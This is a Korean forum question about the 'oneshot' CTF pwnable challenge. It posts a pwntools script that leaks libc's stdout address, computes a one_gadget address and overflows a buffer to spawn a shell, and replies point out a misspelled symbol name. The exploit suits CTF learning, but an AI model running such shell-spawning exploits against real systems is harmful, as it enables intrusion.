pwnable oneshot 오프셋

안녕하세요 제가 pwnable 'oneshot' 문제를 풀다 도저히 모르겠어서 질문을 올립니다. 아래 코드에서 아무리봐도 페이로드는 맞게 짠거 같은데 쉘이 실행 안되서 오프셋에서 문제가 생긴것으로 추측되어 질문을 드립니다. 뭐가 문제인건가요?
from pwn import *
#p = remote("host1.dreamhack.games", 21088)
p = process('./oneshot')
e = ELF("./oneshot")
libc = ELF("./libc.so.6")

stdout_offset = libc.symbols["IO_2_1_stdout"]
one_gadget_offset = 0x045216

p.recvuntil("stdout: ")
stdout_address = int(p.recvuntil('\n')[:-1], 16)
libc_base = stdout_address - stdout_offset
one_gadget_address = libc_base + one_gadget_offset
payload = b'A'*0x18 + p64(0) + b'B'*0x8 + p64(one_gadget_address)

p.sendafter("MSG: ", payload)

p.interactive()

#oneshot
작성자 정보
답변 2
avatar
wyv3rn
무플 방지 위원회장

음 대충 맞는 것 같은데
릭 된 값과 계산된 값들이 제대로 됐는지
중간중간 출력해서 확인해보시는게 좋을 것 같습니다
libc 버전으로인해 base 주소가 잘못 계산되었을 가능성이 있습니다

2022.12.03. 03:55
상달
대표 업적 없음

[“IO_2_1_stdout”]
[“_IO_2_1_stdout”]
_하나 뺴먹으심

2022.12.03. 14:40
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기